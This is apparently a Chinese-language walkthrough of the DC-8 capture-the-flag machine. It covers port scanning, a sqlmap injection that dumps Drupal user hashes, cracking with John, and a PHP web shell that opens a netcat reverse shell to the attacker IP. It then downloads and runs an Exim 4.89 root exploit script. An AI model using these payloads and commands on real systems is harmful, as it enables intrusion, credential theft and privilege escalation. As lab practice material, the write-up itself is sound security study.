DC-8靶机

查看靶机Ip

arp-scan -l  

靶机：192.168.149.155
主机：192.168.149.154

扫描端口

nmap -sS -A 192.168.149.155 -p-

dirb http://192.168.149.155

登录网站

在主页随便点击之后发现 ?nid=1 的传参，直接上sqlmap测试是否存在常规的sql注入

sqlmap的使用

sqlmap -u "http://192.168.149.155/?nid=*"  #测试是否崔在SQL注入

sqlmap -u "http://192.168.149.155/?nid=*" --is-db #测试当前注入权限是否是最高权限

sqlmap -u "http://192.168.149.155/?nid=*" --current-use #查看当前用户

dbuser@localhost

sqlmap -u "http://192.168.149.155/?nid=*" --current-db #查看当前数据库

sqlmap -u "http://192.168.149.155/?nid=*" --tables -D "d7db" #查看d7db（当前数据库）下的所有表名

sqlmap -u "http://192.168.149.155/?nid=*" --dump -C "uid,name,pass,mail,login" -T "users" -D "d7db"

#查看选定字段（uid、name、pass、mail、login）中的所有数据

 1   admin   | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z | dcau-user@outlook.com 
 2   |john    | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF | john@blahsdfsfd.org   

密码解密

使用John解密

john  pass.txt

turtle

登录网站

john   turtle

发现这里可以上传

上传shell

<?php 
system("nc -e /bin/bash 192.168.149.154 4444"); 
?>

开启监听

提权

交互

查看是否存在suid提权

find / -perm -4000 -type f 2>/dev/null

查看exim4命令版本

exim4 --version

Exim version 4.89

在漏洞库里面寻找可利用的漏洞

searchsploit exim 

将文件复制到桌面
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh

开启服务，下载到靶机
kali:python2 -m SimpleHTTPServer 80
wget http://192.168.149.154:80/46996.sh

执行脚本
./46996.sh -m netcat